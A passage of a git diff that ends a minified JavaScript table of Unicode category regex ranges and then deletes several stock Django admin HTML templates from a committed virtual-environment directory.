]|\ud82f[\udc9d\udc9e]|\ud833[\udf00-\udf2d\udf30-\udf46]|\ud834[\udd65-\udd69\udd6d-\udd72\udd7b-\udd82\udd85-\udd8b\uddaa-\uddad\ude42-\ude44]|\ud836[\ude00-\ude36\ude3b-\ude6c\ude75\ude84\ude9b-\ude9f\udea1-\udeaf]|\ud838[\udc00-\udc06\udc08-\udc18\udc1b-\udc21\udc23\udc24\udc26-\udc2a\udd30-\udd36\udeae\udeec-\udeef]|\ud83a[\udcd0-\udcd6\udd44-\udd4a]|\udb40[\udd00-\uddef]"},{name:"Mc",alias:"Spacing_Mark",bmp:"ःऻा-ीॉ-ौॎॏংঃা-ীেৈোৌৗਃਾ-ੀઃા-ીૉોૌଂଃାୀେୈୋୌୗாிுூெ-ைொ-ௌௗఁ-ఃు-ౄಂಃಾೀ-ೄೇೈೊೋೕೖംഃാ-ീെ-ൈൊ-ൌൗංඃා-ෑෘ-ෟෲෳ༾༿ཿါာေးျြၖၗၢ-ၤၧ-ၭႃႄႇ-ႌႏႚ-ႜ᜕᜴ាើ-ៅះៈᤣ-ᤦᤩ-ᤫᤰᤱᤳ-ᤸᨙᨚᩕᩗᩡᩣᩤᩭ-ᩲᬄᬵᬻᬽ-ᭁᭃ᭄ᮂᮡᮦᮧ᮪ᯧᯪ-ᯬᯮ᯲᯳ᰤ-ᰫᰴᰵ᳡᳷〮〯ꠣꠤꠧꢀꢁꢴ-ꣃꥒ꥓ꦃꦴꦵꦺꦻꦾ-꧀ꨯꨰꨳꨴꩍꩻꩽꫫꫮꫯꫵꯣꯤꯦꯧꯩꯪ꯬",astral:"\ud804[\udc00\udc02\udc82\udcb0-\udcb2\udcb7\udcb8\udd2c\udd45\udd46\udd82\uddb3-\uddb5\uddbf\uddc0\uddce\ude2c-\ude2e\ude32\ude33\ude35\udee0-\udee2\udf02\udf03\udf3e\udf3f\udf41-\udf44\udf47\udf48\udf4b-\udf4d\udf57\udf62\udf63]|\ud805[\udc35-\udc37\udc40\udc41\udc45\udcb0-\udcb2\udcb9\udcbb-\udcbe\udcc1\uddaf-\uddb1\uddb8-\uddbb\uddbe\ude30-\ude32\ude3b\ude3c\ude3e\udeac\udeae\udeaf\udeb6\udf20\udf21\udf26]|\ud806[\udc2c-\udc2e\udc38\udd30-\udd35\udd37\udd38\udd3d\udd40\udd42\uddd1-\uddd3\udddc-\udddf\udde4\ude39\ude57\ude58\ude97]|\ud807[\udc2f\udc3e\udca9\udcb1\udcb4\udd8a-\udd8e\udd93\udd94\udd96\udef5\udef6]|\ud81b[\udf51-\udf87\udff0\udff1]|\ud834[\udd65\udd66\udd6d-\udd72]"},{name:"Me",alias:"Enclosing_Mark",bmp:"҈҉᪾⃝-⃠⃢-⃤꙰-꙲"},{name:"Mn",alias:"Nonspacing_Mark",bmp:"̀-ͯ҃-֑҇-ׇֽֿׁׂׅׄؐ-ًؚ-ٰٟۖ-ۜ۟-۪ۤۧۨ-ܑۭܰ-݊ަ-ް߫-߽߳ࠖ-࠙ࠛ-ࠣࠥ-ࠧࠩ-࡙࠭-࡛࢘-࢟࣊-ࣣ࣡-ंऺ़ु-ै्॑-ॗॢॣঁ়ু-ৄ্ৢৣ৾ਁਂ਼ੁੂੇੈੋ-੍ੑੰੱੵઁં઼ુ-ૅેૈ્ૢૣૺ-૿ଁ଼ିୁ-ୄ୍୕ୖୢୣஂீ்ఀఄ఼ా-ీె-ైొ-్ౕౖౢౣಁ಼ಿೆೌ್ೢೣഀഁ഻഼ു-ൄ്ൢൣඁ්ි-ුූัิ-ฺ็-๎ັິ-ຼ່-ໍཱ༹༘༙༵༷-ཾྀ-྄྆྇ྍ-ྗྙ-ྼ࿆ိ-ူဲ-့္်ွှၘၙၞ-ၠၱ-ၴႂႅႆႍႝ፝-፟ᜒ-᜔ᜲᜳᝒᝓᝲᝳ឴឵ិ-ួំ៉-៓៝᠋-᠍᠏ᢅᢆᢩᤠ-ᤢᤧᤨᤲ᤹-᤻ᨘᨗᨛᩖᩘ-ᩞ᩠ᩢᩥ-ᩬᩳ-᩿᩼᪰-᪽ᪿ-ᫎᬀ-ᬃ᬴ᬶ-ᬺᬼᭂ᭫-᭳ᮀᮁᮢ-ᮥᮨᮩ᮫-ᮭ᯦ᯨᯩᯭᯯ-ᯱᰬ-ᰳᰶ᰷᳐-᳔᳒-᳢᳠-᳨᳭᳴᳸᳹᷀-᷿⃐-⃥⃜⃡-⃰⳯-⵿⳱ⷠ-〪ⷿ-゙゚〭꙯ꙴ-꙽ꚞꚟ꛰꛱ꠂ꠆ꠋꠥꠦ꠬꣄ꣅ꣠-꣱ꣿꤦ-꤭ꥇ-ꥑꦀ-ꦂ꦳ꦶ-ꦹꦼꦽꧥꨩ-ꨮꨱꨲꨵꨶꩃꩌꩼꪰꪲ-ꪴꪷꪸꪾ꪿꫁ꫬꫭ꫶ꯥꯨ꯭ﬞ︀-️︠-︯",astral:"\ud800[\uddfd\udee0\udf76-\udf7a]|\ud802[\ude01-\ude03\ude05\ude06\ude0c-\ude0f\ude38-\ude3a\ude3f\udee5\udee6]|\ud803[\udd24-\udd27\udeab\udeac\udf46-\udf50\udf82-\udf85]|\ud804[\udc01\udc38-\udc46\udc70\udc73\udc74\udc7f-\udc81\udcb3-\udcb6\udcb9\udcba\udcc2\udd00-\udd02\udd27-\udd2b\udd2d-\udd34\udd73\udd80\udd81\uddb6-\uddbe\uddc9-\uddcc\uddcf\ude2f-\ude31\ude34\ude36\ude37\ude3e\udedf\udee3-\udeea\udf00\udf01\udf3b\udf3c\udf40\udf66-\udf6c\udf70-\udf74]|\ud805[\udc38-\udc3f\udc42-\udc44\udc46\udc5e\udcb3-\udcb8\udcba\udcbf\udcc0\udcc2\udcc3\uddb2-\uddb5\uddbc\uddbd\uddbf\uddc0\udddc\udddd\ude33-\ude3a\ude3d\ude3f\ude40\udeab\udead\udeb0-\udeb5\udeb7\udf1d-\udf1f\udf22-\udf25\udf27-\udf2b]|\ud806[\udc2f-\udc37\udc39\udc3a\udd3b\udd3c\udd3e\udd43\uddd4-\uddd7\uddda\udddb\udde0\ude01-\ude0a\ude33-\ude38\ude3b-\ude3e\ude47\ude51-\ude56\ude59-\ude5b\ude8a-\ude96\ude98\ude99]|\ud807[\udc30-\udc36\udc38-\udc3d\udc3f\udc92-\udca7\udcaa-\udcb0\udcb2\udcb3\udcb5\udcb6\udd31-\udd36\udd3a\udd3c\udd3d\udd3f-\udd45\udd47\udd90\udd91\udd95\udd97\udef3\udef4]|\ud81a[\udef0-\udef4\udf30-\udf36]|\ud81b[\udf4f\udf8f-\udf92\udfe4]|\ud82f[\udc9d\udc9e]|\ud833[\udf00-\udf2d\udf30-\udf46]|\ud834[\udd67-\udd69\udd7b-\udd82\udd85-\udd8b\uddaa-\uddad\ude42-\ude44]|\ud836[\ude00-\ude36\ude3b-\ude6c\ude75\ude84\ude9b-\ude9f\udea1-\udeaf]|\ud838[\udc00-\udc06\udc08-\udc18\udc1b-\udc21\udc23\udc24\udc26-\udc2a\udd30-\udd36\udeae\udeec-\udeef]|\ud83a[\udcd0-\udcd6\udd44-\udd4a]|\udb40[\udd00-\uddef]"},{name:"N",alias:"Number",bmp:"0-9²³¹¼-¾٠-٩۰-۹߀-߉०-९০-৯৴-৹੦-੯૦-૯୦-୯୲-୷௦-௲౦-౯౸-౾೦-೯൘-൞൦-൸෦-෯๐-๙໐-໙༠-༳၀-၉႐-႙፩-፼ᛮ-ᛰ០-៩៰-៹᠐-᠙᥆-᥏᧐-᧚᪀-᪉᪐-᪙᭐-᭙᮰-᮹᱀-᱉᱐-᱙⁰⁴-⁹₀-₉⅐-ↂↅ-↉①-⒛⓪-⓿❶-➓⳽〇〡-〩〸-〺㆒-㆕㈠-㈩㉈-㉏㉑-㉟㊀-㊉㊱-㊿꘠-꘩ꛦ-ꛯ꠰-꠵꣐-꣙꤀-꤉꧐-꧙꧰-꧹꩐-꩙꯰-꯹0-9",astral:"\ud800[\udd07-\udd33\udd40-\udd78\udd8a\udd8b\udee1-\udefb\udf20-\udf23\udf41\udf4a\udfd1-\udfd5]|\ud801[\udca0-\udca9]|\ud802[\udc58-\udc5f\udc79-\udc7f\udca7-\udcaf\udcfb-\udcff\udd16-\udd1b\uddbc\uddbd\uddc0-\uddcf\uddd2-\uddff\ude40-\ude48\ude7d\ude7e\ude9d-\ude9f\udeeb-\udeef\udf58-\udf5f\udf78-\udf7f\udfa9-\udfaf]|\ud803[\udcfa-\udcff\udd30-\udd39\ude60-\ude7e\udf1d-\udf26\udf51-\udf54\udfc5-\udfcb]|\ud804[\udc52-\udc6f\udcf0-\udcf9\udd36-\udd3f\uddd0-\uddd9\udde1-\uddf4\udef0-\udef9]|\ud805[\udc50-\udc59\udcd0-\udcd9\ude50-\ude59\udec0-\udec9\udf30-\udf3b]|\ud806[\udce0-\udcf2\udd50-\udd59]|\ud807[\udc50-\udc6c\udd50-\udd59\udda0-\udda9\udfc0-\udfd4]|\ud809[\udc00-\udc6e]|\ud81a[\ude60-\ude69\udec0-\udec9\udf50-\udf59\udf5b-\udf61]|\ud81b[\ude80-\ude96]|\ud834[\udee0-\udef3\udf60-\udf78]|\ud835[\udfce-\udfff]|\ud838[\udd40-\udd49\udef0-\udef9]|\ud83a[\udcc7-\udccf\udd50-\udd59]|\ud83b[\udc71-\udcab\udcad-\udcaf\udcb1-\udcb4\udd01-\udd2d\udd2f-\udd3d]|\ud83c[\udd00-\udd0c]|\ud83e[\udff0-\udff9]"},{name:"Nd",alias:"Decimal_Number",bmp:"0-9٠-٩۰-۹߀-߉०-९০-৯੦-੯૦-૯୦-୯௦-௯౦-౯೦-೯൦-൯෦-෯๐-๙໐-໙༠-༩၀-၉႐-႙០-៩᠐-᠙᥆-᥏᧐-᧙᪀-᪉᪐-᪙᭐-᭙᮰-᮹᱀-᱉᱐-᱙꘠-꘩꣐-꣙꤀-꤉꧐-꧙꧰-꧹꩐-꩙꯰-꯹0-9",astral:"\ud801[\udca0-\udca9]|\ud803[\udd30-\udd39]|\ud804[\udc66-\udc6f\udcf0-\udcf9\udd36-\udd3f\uddd0-\uddd9\udef0-\udef9]|\ud805[\udc50-\udc59\udcd0-\udcd9\ude50-\ude59\udec0-\udec9\udf30-\udf39]|\ud806[\udce0-\udce9\udd50-\udd59]|\ud807[\udc50-\udc59\udd50-\udd59\udda0-\udda9]|\ud81a[\ude60-\ude69\udec0-\udec9\udf50-\udf59]|\ud835[\udfce-\udfff]|\ud838[\udd40-\udd49\udef0-\udef9]|\ud83a[\udd50-\udd59]|\ud83e[\udff0-\udff9]"},{name:"Nl",alias:"Letter_Number",bmp:"ᛮ-ᛰⅠ-ↂↅ-ↈ〇〡-〩〸-〺ꛦ-ꛯ",astral:"\ud800[\udd40-\udd74\udf41\udf4a\udfd1-\udfd5]|\ud809[\udc00-\udc6e]"},{name:"No",alias:"Other_Number",bmp:"²³¹¼-¾৴-৹୲-୷௰-௲౸-౾൘-൞൰-൸༪-༳፩-፼៰-៹᧚⁰⁴-⁹₀-₉⅐-⅟↉①-⒛⓪-⓿❶-➓⳽㆒-㆕㈠-㈩㉈-㉏㉑-㉟㊀-㊉㊱-㊿꠰-꠵",astral:"\ud800[\udd07-\udd33\udd75-\udd78\udd8a\udd8b\udee1-\udefb\udf20-\udf23]|\ud802[\udc58-\udc5f\udc79-\udc7f\udca7-\udcaf\udcfb-\udcff\udd16-\udd1b\uddbc\uddbd\uddc0-\uddcf\uddd2-\uddff\ude40-\ude48\ude7d\ude7e\ude9d-\ude9f\udeeb-\udeef\udf58-\udf5f\udf78-\udf7f\udfa9-\udfaf]|\ud803[\udcfa-\udcff\ude60-\ude7e\udf1d-\udf26\udf51-\udf54\udfc5-\udfcb]|\ud804[\udc52-\udc65\udde1-\uddf4]|\ud805[\udf3a\udf3b]|\ud806[\udcea-\udcf2]|\ud807[\udc5a-\udc6c\udfc0-\udfd4]|\ud81a[\udf5b-\udf61]|\ud81b[\ude80-\ude96]|\ud834[\udee0-\udef3\udf60-\udf78]|\ud83a[\udcc7-\udccf]|\ud83b[\udc71-\udcab\udcad-\udcaf\udcb1-\udcb4\udd01-\udd2d\udd2f-\udd3d]|\ud83c[\udd00-\udd0c]"},{name:"P",alias:"Punctuation",bmp:"!-#%-\\*,-\\/:;\\?@\\[-\\]_\\{\\}¡§«¶·»¿;·՚-՟։֊־׀׃׆׳״؉؊،؍؛؝-؟٪-٭۔܀-܍߷-߹࠰-࠾࡞।॥॰৽੶૰౷಄෴๏๚๛༄-༒༔༺-༽྅࿐-࿔࿙࿚၊-၏჻፠-፨᐀᙮᚛᚜᛫-᛭᜵᜶។-៖៘-៚᠀-᠊᥄᥅᨞᨟᪠-᪦᪨-᪭᭚-᭠᭽᭾᯼-᯿᰻-᰿᱾᱿᳀-᳇᳓‐-‧‰-⁃⁅-⁑⁓-⁞⁽⁾₍₎⌈-⌋〈〉❨-❵⟅⟆⟦-⟯⦃-⦘⧘-⧛⧼⧽⳹-⳼⳾⳿⵰⸀-⸮⸰-⹏⹒-⹝、-〃〈-】〔-〟〰〽゠・꓾꓿꘍-꘏꙳꙾꛲-꛷꡴-꡷꣎꣏꣸-꣺꣼꤮꤯꥟꧁-꧍꧞꧟꩜-꩟꫞꫟꫰꫱꯫﴾﴿︐-︙︰-﹒﹔-﹡﹣﹨﹪﹫!-#%-*,-/:;?@[-]_{}⦅-・",astral:"\ud800[\udd00-\udd02\udf9f\udfd0]|𐕯|\ud802[\udc57\udd1f\udd3f\ude50-\ude58\ude7f\udef0-\udef6\udf39-\udf3f\udf99-\udf9c]|\ud803[\udead\udf55-\udf59\udf86-\udf89]|\ud804[\udc47-\udc4d\udcbb\udcbc\udcbe-\udcc1\udd40-\udd43\udd74\udd75\uddc5-\uddc8\uddcd\udddb\udddd-\udddf\ude38-\ude3d\udea9]|\ud805[\udc4b-\udc4f\udc5a\udc5b\udc5d\udcc6\uddc1-\uddd7\ude41-\ude43\ude60-\ude6c\udeb9\udf3c-\udf3e]|\ud806[\udc3b\udd44-\udd46\udde2\ude3f-\ude46\ude9a-\ude9c\ude9e-\udea2]|\ud807[\udc41-\udc45\udc70\udc71\udef7\udef8\udfff]|\ud809[\udc70-\udc74]|\ud80b[\udff1\udff2]|\ud81a[\ude6e\ude6f\udef5\udf37-\udf3b\udf44]|\ud81b[\ude97-\ude9a\udfe2]|𛲟|\ud836[\ude87-\ude8b]|\ud83a[\udd5e\udd5f]"},{name:"Pc",alias:"Connector_Punctuation",bmp:"_‿⁀⁔︳︴﹍-﹏_"},{name:"Pd",alias:"Dash_Punctuation",bmp:"\\-֊־᐀᠆‐-―⸗⸚⸺⸻⹀⹝〜〰゠︱︲﹘﹣-",astral:"𐺭"},{name:"Pe",alias:"Close_Punctuation",bmp:"\\)\\]\\}༻༽᚜⁆⁾₎⌉⌋〉❩❫❭❯❱❳❵⟆⟧⟩⟫⟭⟯⦄⦆⦈⦊⦌⦎⦐⦒⦔⦖⦘⧙⧛⧽⸣⸥⸧⸩⹖⹘⹚⹜〉》」』】〕〗〙〛〞〟﴾︘︶︸︺︼︾﹀﹂﹄﹈﹚﹜﹞)]}⦆」"},{name:"Pf",alias:"Final_Punctuation",bmp:"»’”›⸃⸅⸊⸍⸝⸡"},{name:"Pi",alias:"Initial_Punctuation",bmp:"«‘‛“‟‹⸂⸄⸉⸌⸜⸠"},{name:"Po",alias:"Other_Punctuation",bmp:"!-#%-'\\*,\\.\\/:;\\?@\\¡§¶·¿;·՚-՟։׀׃׆׳״؉؊،؍؛؝-؟٪-٭۔܀-܍߷-߹࠰-࠾࡞।॥॰৽੶૰౷಄෴๏๚๛༄-༒༔྅࿐-࿔࿙࿚၊-၏჻፠-፨᙮᛫-᛭᜵᜶។-៖៘-៚᠀-᠅᠇-᠊᥄᥅᨞᨟᪠-᪦᪨-᪭᭚-᭠᭽᭾᯼-᯿᰻-᰿᱾᱿᳀-᳇᳓‖‗†-‧‰-‸※-‾⁁-⁃⁇-⁑⁓⁕-⁞⳹-⳼⳾⳿⵰⸀⸁⸆-⸈⸋⸎-⸖⸘⸙⸛⸞⸟⸪-⸮⸰-⸹⸼-⸿⹁⹃-⹏⹒-⹔、-〃〽・꓾꓿꘍-꘏꙳꙾꛲-꛷꡴-꡷꣎꣏꣸-꣺꣼꤮꤯꥟꧁-꧍꧞꧟꩜-꩟꫞꫟꫰꫱꯫︐-︖︙︰﹅﹆﹉-﹌﹐-﹒﹔-﹗﹟-﹡﹨﹪﹫!-#%-'*,./:;?@\。、・",astral:"\ud800[\udd00-\udd02\udf9f\udfd0]|𐕯|\ud802[\udc57\udd1f\udd3f\ude50-\ude58\ude7f\udef0-\udef6\udf39-\udf3f\udf99-\udf9c]|\ud803[\udf55-\udf59\udf86-\udf89]|\ud804[\udc47-\udc4d\udcbb\udcbc\udcbe-\udcc1\udd40-\udd43\udd74\udd75\uddc5-\uddc8\uddcd\udddb\udddd-\udddf\ude38-\ude3d\udea9]|\ud805[\udc4b-\udc4f\udc5a\udc5b\udc5d\udcc6\uddc1-\uddd7\ude41-\ude43\ude60-\ude6c\udeb9\udf3c-\udf3e]|\ud806[\udc3b\udd44-\udd46\udde2\ude3f-\ude46\ude9a-\ude9c\ude9e-\udea2]|\ud807[\udc41-\udc45\udc70\udc71\udef7\udef8\udfff]|\ud809[\udc70-\udc74]|\ud80b[\udff1\udff2]|\ud81a[\ude6e\ude6f\udef5\udf37-\udf3b\udf44]|\ud81b[\ude97-\ude9a\udfe2]|𛲟|\ud836[\ude87-\ude8b]|\ud83a[\udd5e\udd5f]"},{name:"Ps",alias:"Open_Punctuation",bmp:"\\(\\[\\{༺༼᚛‚„⁅⁽₍⌈⌊〈❨❪❬❮❰❲❴⟅⟦⟨⟪⟬⟮⦃⦅⦇⦉⦋⦍⦏⦑⦓⦕⦗⧘⧚⧼⸢⸤⸦⸨⹂⹕⹗⹙⹛〈《「『【〔〖〘〚〝﴿︗︵︷︹︻︽︿﹁﹃﹇﹙﹛﹝([{⦅「"},{name:"S",alias:"Symbol",bmp:"\\$\\+<->\\^`\\|~¢-¦¨©¬®-±´¸×÷˂-˅˒-˟˥-˫˭˯-˿͵΄΅϶҂֍-֏؆-؈؋؎؏۞۩۽۾߶߾߿࢈৲৳৺৻૱୰௳-௺౿൏൹฿༁-༃༓༕-༗༚-༟༴༶༸྾-࿅࿇-࿌࿎࿏࿕-࿘႞႟᎐-᎙᙭៛᥀᧞-᧿᭡-᭪᭴-᭼᾽᾿-῁῍-῏῝-῟῭-`´῾⁄⁒⁺-⁼₊-₌₠-⃀℀℁℃-℆℈℉℔№-℘℞-℣℥℧℩℮℺℻⅀-⅄⅊-⅍⅏↊↋←-⌇⌌-⌨⌫-␦⑀-⑊⒜-ⓩ─-❧➔-⟄⟇-⟥⟰-⦂⦙-⧗⧜-⧻⧾-⭳⭶-⮕⮗-⯿⳥-⳪⹐⹑⺀-⺙⺛-⻳⼀-⿕⿰-⿻〄〒〓〠〶〷〾〿゛゜㆐㆑㆖-㆟㇀-㇣㈀-㈞㈪-㉇㉐㉠-㉿㊊-㊰㋀-㏿䷀-䷿꒐-꓆꜀-꜖꜠꜡꞉꞊꠨-꠫꠶-꠹꩷-꩹꭛꭪꭫﬩﮲-﯂﵀-﵏﷏﷼-﷿﹢﹤-﹦﹩$+<->^`|~¢-₩│-○�",astral:"\ud800[\udd37-\udd3f\udd79-\udd89\udd8c-\udd8e\udd90-\udd9c\udda0\uddd0-\uddfc]|\ud802[\udc77\udc78\udec8]|𑜿|\ud807[\udfd5-\udff1]|\ud81a[\udf3c-\udf3f\udf45]|𛲜|\ud833[\udf50-\udfc3]|\ud834[\udc00-\udcf5\udd00-\udd26\udd29-\udd64\udd6a-\udd6c\udd83\udd84\udd8c-\udda9\uddae-\uddea\ude00-\ude41\ude45\udf00-\udf56]|\ud835[\udec1\udedb\udefb\udf15\udf35\udf4f\udf6f\udf89\udfa9\udfc3]|\ud836[\udc00-\uddff\ude37-\ude3a\ude6d-\ude74\ude76-\ude83\ude85\ude86]|\ud838[\udd4f\udeff]|\ud83b[\udcac\udcb0\udd2e\udef0\udef1]|\ud83c[\udc00-\udc2b\udc30-\udc93\udca0-\udcae\udcb1-\udcbf\udcc1-\udccf\udcd1-\udcf5\udd0d-\uddad\udde6-\ude02\ude10-\ude3b\ude40-\ude48\ude50\ude51\ude60-\ude65\udf00-\udfff]|\ud83d[\udc00-\uded7\udedd-\udeec\udef0-\udefc\udf00-\udf73\udf80-\udfd8\udfe0-\udfeb\udff0]|\ud83e[\udc00-\udc0b\udc10-\udc47\udc50-\udc59\udc60-\udc87\udc90-\udcad\udcb0\udcb1\udd00-\ude53\ude60-\ude6d\ude70-\ude74\ude78-\ude7c\ude80-\ude86\ude90-\udeac\udeb0-\udeba\udec0-\udec5\uded0-\uded9\udee0-\udee7\udef0-\udef6\udf00-\udf92\udf94-\udfca]"},{name:"Sc",alias:"Currency_Symbol",bmp:"\\$¢-¥֏؋߾߿৲৳৻૱௹฿៛₠-⃀꠸﷼﹩$¢£¥₩",astral:"\ud807[\udfdd-\udfe0]|𞋿|𞲰"},{name:"Sk",alias:"Modifier_Symbol",bmp:"\\^`¨¯´¸˂-˅˒-˟˥-˫˭˯-˿͵΄΅࢈᾽᾿-῁῍-῏῝-῟῭-`´῾゛゜꜀-꜖꜠꜡꞉꞊꭛꭪꭫﮲-﯂^` ̄",astral:"\ud83c[\udffb-\udfff]"},{name:"Sm",alias:"Math_Symbol",bmp:"\\+<->\\|~¬±×÷϶؆-؈⁄⁒⁺-⁼₊-₌℘⅀-⅄⅋←-↔↚↛↠↣↦↮⇎⇏⇒⇔⇴-⋿⌠⌡⍼⎛-⎳⏜-⏡▷◁◸-◿♯⟀-⟄⟇-⟥⟰-⟿⤀-⦂⦙-⧗⧜-⧻⧾-⫿⬰-⭄⭇-⭌﬩﹢﹤-﹦+<->|~¬←-↓",astral:"\ud835[\udec1\udedb\udefb\udf15\udf35\udf4f\udf6f\udf89\udfa9\udfc3]|\ud83b[\udef0\udef1]"},{name:"So",alias:"Other_Symbol",bmp:"¦©®°҂֍֎؎؏۞۩۽۾߶৺୰௳-௸௺౿൏൹༁-༃༓༕-༗༚-༟༴༶༸྾-࿅࿇-࿌࿎࿏࿕-࿘႞႟᎐-᎙᙭᥀᧞-᧿᭡-᭪᭴-᭼℀℁℃-℆℈℉℔№℗℞-℣℥℧℩℮℺℻⅊⅌⅍⅏↊↋↕-↙↜-↟↡↢↤↥↧-↭↯-⇍⇐⇑⇓⇕-⇳⌀-⌇⌌-⌟⌢-⌨⌫-⍻⍽-⎚⎴-⏛⏢-␦⑀-⑊⒜-ⓩ─-▶▸-◀◂-◷☀-♮♰-❧➔-➿⠀-⣿⬀-⬯⭅⭆⭍-⭳⭶-⮕⮗-⯿⳥-⳪⹐⹑⺀-⺙⺛-⻳⼀-⿕⿰-⿻〄〒〓〠〶〷〾〿㆐㆑㆖-㆟㇀-㇣㈀-㈞㈪-㉇㉐㉠-㉿㊊-㊰㋀-㏿䷀-䷿꒐-꓆꠨-꠫꠶꠷꠹꩷-꩹﵀-﵏﷏﷽-﷿¦│■○�",astral:"\ud800[\udd37-\udd3f\udd79-\udd89\udd8c-\udd8e\udd90-\udd9c\udda0\uddd0-\uddfc]|\ud802[\udc77\udc78\udec8]|𑜿|\ud807[\udfd5-\udfdc\udfe1-\udff1]|\ud81a[\udf3c-\udf3f\udf45]|𛲜|\ud833[\udf50-\udfc3]|\ud834[\udc00-\udcf5\udd00-\udd26\udd29-\udd64\udd6a-\udd6c\udd83\udd84\udd8c-\udda9\uddae-\uddea\ude00-\ude41\ude45\udf00-\udf56]|\ud836[\udc00-\uddff\ude37-\ude3a\ude6d-\ude74\ude76-\ude83\ude85\ude86]|𞅏|\ud83b[\udcac\udd2e]|\ud83c[\udc00-\udc2b\udc30-\udc93\udca0-\udcae\udcb1-\udcbf\udcc1-\udccf\udcd1-\udcf5\udd0d-\uddad\udde6-\ude02\ude10-\ude3b\ude40-\ude48\ude50\ude51\ude60-\ude65\udf00-\udffa]|\ud83d[\udc00-\uded7\udedd-\udeec\udef0-\udefc\udf00-\udf73\udf80-\udfd8\udfe0-\udfeb\udff0]|\ud83e[\udc00-\udc0b\udc10-\udc47\udc50-\udc59\udc60-\udc87\udc90-\udcad\udcb0\udcb1\udd00-\ude53\ude60-\ude6d\ude70-\ude74\ude78-\ude7c\ude80-\ude86\ude90-\udeac\udeb0-\udeba\udec0-\udec5\uded0-\uded9\udee0-\udee7\udef0-\udef6\udf00-\udf92\udf94-\udfca]"},{name:"Z",alias:"Separator",bmp:"   - \u2028\u2029   "},{name:"Zl",alias:"Line_Separator",bmp:"\u2028"},{name:"Zp",alias:"Paragraph_Separator",bmp:"\u2029"},{name:"Zs",alias:"Space_Separator",bmp:"   -    "}]},{}]},{},[3])(3)})); diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/404.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/404.html deleted file mode 100644 index 19f07492..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/404.html +++ /dev/null @@ -1,12 +0,0 @@ -{% extends "admin/base_site.html" %} -{% load i18n %} - -{% block title %}{% translate 'Page not found' %}{% endblock %} - -{% block content %} - -<h2>{% translate 'Page not found' %}</h2> - -<p>{% translate 'We’re sorry, but the requested page could not be found.' %}</p> - -{% endblock %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/500.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/500.html deleted file mode 100644 index b5ac5c3b..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/500.html +++ /dev/null @@ -1,17 +0,0 @@ -{% extends "admin/base_site.html" %} -{% load i18n %} - -{% block breadcrumbs %} -<div class="breadcrumbs"> -<a href="{% url 'admin:index' %}">{% translate 'Home' %}</a> -› {% translate 'Server error' %} -</div> -{% endblock %} - -{% block title %}{% translate 'Server error (500)' %}{% endblock %} - -{% block content %} -<h1>{% translate 'Server Error <em>(500)</em>' %}</h1> -<p>{% translate 'There’s been an error. It’s been reported to the site administrators via email and should be fixed shortly. Thanks for your patience.' %}</p> - -{% endblock %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/actions.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/actions.html deleted file mode 100644 index f506c923..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/actions.html +++ /dev/null @@ -1,23 +0,0 @@ -{% load i18n %} -<div class="actions"> - {% block actions %} - {% block actions-form %} - {% for field in action_form %}{% if field.label %}<label>{{ field.label }} {{ field }}</label>{% else %}{{ field }}{% endif %}{% endfor %} - {% endblock %} - {% block actions-submit %} - <button type="submit" class="button" title="{% translate "Run the selected action" %}" name="index" value="{{ action_index|default:0 }}">{% translate "Go" %}</button> - {% endblock %} - {% block actions-counter %} - {% if actions_selection_counter %} - <span class="action-counter" data-actions-icnt="{{ cl.result_list|length }}">{{ selection_note }}</span> - {% if cl.result_count != cl.result_list|length %} - <span class="all hidden">{{ selection_note_all }}</span> - <span class="question hidden"> - <a role="button" href="#" title="{% translate "Click here to select the objects across all pages" %}">{% blocktranslate with cl.result_count as total_count %}Select all {{ total_count }} {{ module_name }}{% endblocktranslate %}</a> - </span> - <span class="clear hidden"><a role="button" href="#">{% translate "Clear selection" %}</a></span> - {% endif %} - {% endif %} - {% endblock %} - {% endblock %} -</div> diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/app_index.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/app_index.html deleted file mode 100644 index 727f72b1..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/app_index.html +++ /dev/null @@ -1,20 +0,0 @@ -{% extends "admin/index.html" %} -{% load i18n %} - -{% block bodyclass %}{{ block.super }} app-{{ app_label }}{% endblock %} - -{% if not is_popup %} -{% block nav-breadcrumbs %} - <nav aria-label="{% translate 'Breadcrumbs' %}"> - <div class="breadcrumbs"> - <a href="{% url 'admin:index' %}">{% translate 'Home' %}</a> - › - {% for app in app_list %} - {{ app.name }} - {% endfor %} - </div> - </nav> -{% endblock %} -{% endif %} - -{% block sidebar %}{% endblock %} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/app_list.html b/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/app_list.html deleted file mode 100644 index 60d874b2..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templates/admin/app_list.html +++ /dev/null @@ -1,51 +0,0 @@ -{% load i18n %} - -{% if app_list %} - {% for app in app_list %} - <div class="app-{{ app.app_label }} module{% if app.app_url in request.path|urlencode %} current-app{% endif %}"> - <table> - <caption> - <a href="{{ app.app_url }}" class="section" title="{% blocktranslate with name=app.name %}Models in the {{ name }} application{% endblocktranslate %}">{{ app.name }}</a> - </caption> - <thead class="visually-hidden"> - <tr> - <th scope="col">{% translate 'Model name' %}</th> - <th scope="col">{% translate 'Add link' %}</th> - <th scope="col">{% translate 'Change or view list link' %}</th> - </tr> - </thead> - {% for model in app.models %} - {% with model_name=model.object_name|lower %} - <tr class="model-{{ model_name }}{% if model.admin_url in request.path|urlencode %} current-model{% endif %}"> - <th scope="row" id="{{ app.app_label }}-{{ model_name }}"> - {% if model.admin_url %} - <a href="{{ model.admin_url }}"{% if model.admin_url in request.path|urlencode %} aria-current="page"{% endif %}>{{ model.name }}</a> - {% else %} - {{ model.name }} - {% endif %} - </th> - - {% if model.add_url %} - <td><a href="{{ model.add_url }}" class="addlink" aria-describedby="{{ app.app_label }}-{{ model_name }}">{% translate 'Add' %}</a></td> - {% else %} - <td></td> - 